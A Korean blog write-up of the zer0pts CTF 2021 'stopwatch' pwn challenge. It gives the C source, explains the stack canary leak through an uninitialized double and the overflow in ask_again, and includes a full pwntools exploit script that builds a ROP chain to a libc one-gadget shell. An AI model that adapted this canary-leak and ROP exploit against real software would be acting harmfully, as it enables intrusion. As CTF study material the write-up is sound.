반응형
파일정보
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=671697b357d39525a86658e92e5aa52b783012ff, not stripped
$ pwn checksec chall
[*] '/root/stopwatch/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
char name[0x80];
void readuntil(char t) {
char c;
do {
c = getchar();
if (c == EOF) exit(1);
} while(c != t);
}
int ask_again(void) {
char buf[0x10];
printf("Play again? (Y/n) ");
scanf("%s", buf);
readuntil('\n');
if (buf[0] == 'n' || buf[0] == 'N')
return 0;
else
return 1;
}
void ask_time(double *t) {
printf("Time[sec]: ");
scanf("%lf", t);
readuntil('\n');
}
double play_game(void) {
struct timeval start, end;
double delta, goal, diff;
ask_time(&goal);
printf("Stop the timer as close to %lf seconds as possible!\n", goal);
puts("Press ENTER to start / stop the timer.");
readuntil('\n');
gettimeofday(&start, NULL);
puts("Timer started.");
readuntil('\n');
gettimeofday(&end, NULL);
puts("Timer stopped.");
diff = end.tv_sec - start.tv_sec
+ (double)(end.tv_usec - start.tv_usec) / 1000000;
if (diff == goal) {
printf("Exactly %lf seconds! Congratulaions!\n", goal);
} else if (diff < goal) {
delta = goal - diff;
printf("Faster by %lf sec!\n", delta);
} else {
delta = diff - goal;
printf("Slower by %lf sec!\n", delta);
}
if (delta > 0.5) {
puts("Too lazy. Try harder!");
}
return delta;
}
unsigned char ask_number(void) {
unsigned int n;
printf("How many times do you want to try?\n> ");
scanf("%d", &n);
return (unsigned char)n;
}
void ask_name(void) {
char _name[0x80];
printf("What is your name?\n> ");
scanf("%s", _name);
strcpy(name, _name);
}
/**
* Entry Point
*/
int main(void) {
unsigned char i, n;
double *records, best = 31137.31337;
ask_name();
n = ask_number();
records = (double*)alloca(n * sizeof(double));
for(i = 0; i < n; i++) records[i] = 31137.31337;
for(i = 0; ; i++) {
printf("-=-=-=-= CHALLENGE %03d =-=-=-=-\n", i + 1);
records[i] = play_game();
if (i >= n - 1) break;
if (!ask_again()) break;
}
for(i = 0; i < n; i++) {
if (best > records[i]) {
best = records[i];
}
}
puts("-=-=-=-= RESULT =-=-=-=-");
printf("Name: %s\n", name);
printf("Best Score: %lf\n", best);
return 0;
}
__attribute__((constructor))
void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(300);
}
풀이
int ask_again(void) {
char buf[0x10];
printf("Play again? (Y/n) ");
scanf("%s", buf);
readuntil('\n');
if (buf[0] == 'n' || buf[0] == 'N')
return 0;
else
return 1;
}
void ask_name(void) {
char _name[0x80];
printf("What is your name?\n> ");
scanf("%s", _name);
strcpy(name, _name);
}
ask_again과 ask_name에서 Stack Overflow 취약점이 존재한다. 그러나 보호기법인 Stack Canary가 존재하여, 무작정 Overwrite하는 것은 불가능하다.
canary를 찾아보면 rsp(0x7ffeb58950f0)위치보다 윗쪽에도 존재하는 것을 볼 수 있다.
void ask_time(double *t) {
printf("Time[sec]: ");
scanf("%lf", t);
readuntil('\n');
}
double play_game(void) {
struct timeval start, end;
double delta, goal, diff;
ask_time(&goal);
printf("Stop the timer as close to %lf seconds as possible!\n", goal);
puts("Press ENTER to start / stop the timer.");
// ==============================================
int main(void) {
unsigned char i, n;
double *records, best = 31137.31337;
ask_name();
n = ask_number();
records = (double*)alloca(n * sizeof(double));
for(i = 0; i < n; i++) records[i] = 31137.31337;
play_game에서 goal 변수를 따로 초기화하지 않는다. ask_time에서 scanf의 에러를 내면 검증 코드가 존재하지 않으므로 goal 변수에 값을 안쓴다. 그리고 printf에서 goal 값을 출력해준다.
만약 goal에 canary 값이 존재하면 canary가 leak된다.
goal가 canary에 있는 위치로 맞추려면, ask_number반환 값 n으로 스택을 할당받는 양을 조절할 수 있다.
canary 값을 릭이 된다면, ask_again에서 Stack Overflow를 발생시켜 ROP를 이용해 exploit이 가능하다.
Exploit
import struct
from pwn import *
p = remote('pwn.ctf.zer0pts.com', 9002)
elf = ELF('./chall')
lib = ELF('./libc.so.6')
def double_to_int(f):
return struct.unpack('<Q', struct.pack('<d', f))[0]
def ask_name(name):
print(p.sendlineafter('\n> ', name))
def ask_number(num):
print(p.sendlineafter('\n> ', str(num)))
def ask_time():
print(p.sendlineafter('Time[sec]: ', 'l'))
p.send('\n')
def ask_again(buf):
print(p.sendlineafter('Y/n) ', buf))
p.send('\n')
def play():
print(p.recvuntil('\n'))
ask_time()
print(p.recvuntil('Stop the timer as close to '))
leak_canary = float(p.recvuntil(' seconds as possible!\n', drop=True))
if leak_canary == 0.0:
log.failure(f'canary: {leak_canary}')
exit(1)
canary = double_to_int(leak_canary)
log.info(f'canary: {hex(canary)}')
print(p.recvuntil('\n'))
p.send('\n')
print(p.recvuntil('\n'))
p.send('\n')
print(p.recvuntil('\n'))
print(p.recvuntil('\n'))
print(p.recvuntil('\n'))
return canary
# gadget, 주소에 0x20, 0x0b등 공백이 들어가면 짤림
p_rdi = 0x400e93
p_rsi_r15 = 0x400e91
puts_plt = elf.plt['puts']
lib_start_main = 0x601ff0
ask_again_addr = 0x40089b
ask_name('a')
ask_number(16)
canary = play()
payload = b'A' * 0x18
payload += p64(canary)
payload += b'A' * 8
# lib_start_main leak, puts(lib_start_main)
payload += p64(p_rdi)
payload += p64(lib_start_main)
payload += p64(puts_plt)
payload += p64(ask_again_addr)
ask_again(payload)
# lib_start_main leak
lib_start_main_leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = lib_start_main_leak - lib.symbols['__libc_start_main']
one_shot = libc_base + 0x10a428
pop_rax = libc_base + 0x43ae8
log.info(f'one shot: {hex(one_shot)}')
# execve('/bin/sh', 0, 0)
payload = payload[:0x28]
payload += p64(p_rsi_r15)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(pop_rax)
payload += p64(0x601fe0)
payload += p64(one_shot)
ask_again(payload)
p.interactive()
Flag
zer0pts{l34k_fr0m_pr3c1s3ly-al1gn3d_un1n1t14l1z3d_buff3r}
반응형
'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글
safe_vector (0) | 2021.04.07 |
---|---|
baby sqli (0) | 2021.03.12 |
GuestFS:AFR (0) | 2021.03.12 |
OneShot (0) | 2021.03.12 |
Not Beginner's Stack (0) | 2021.03.12 |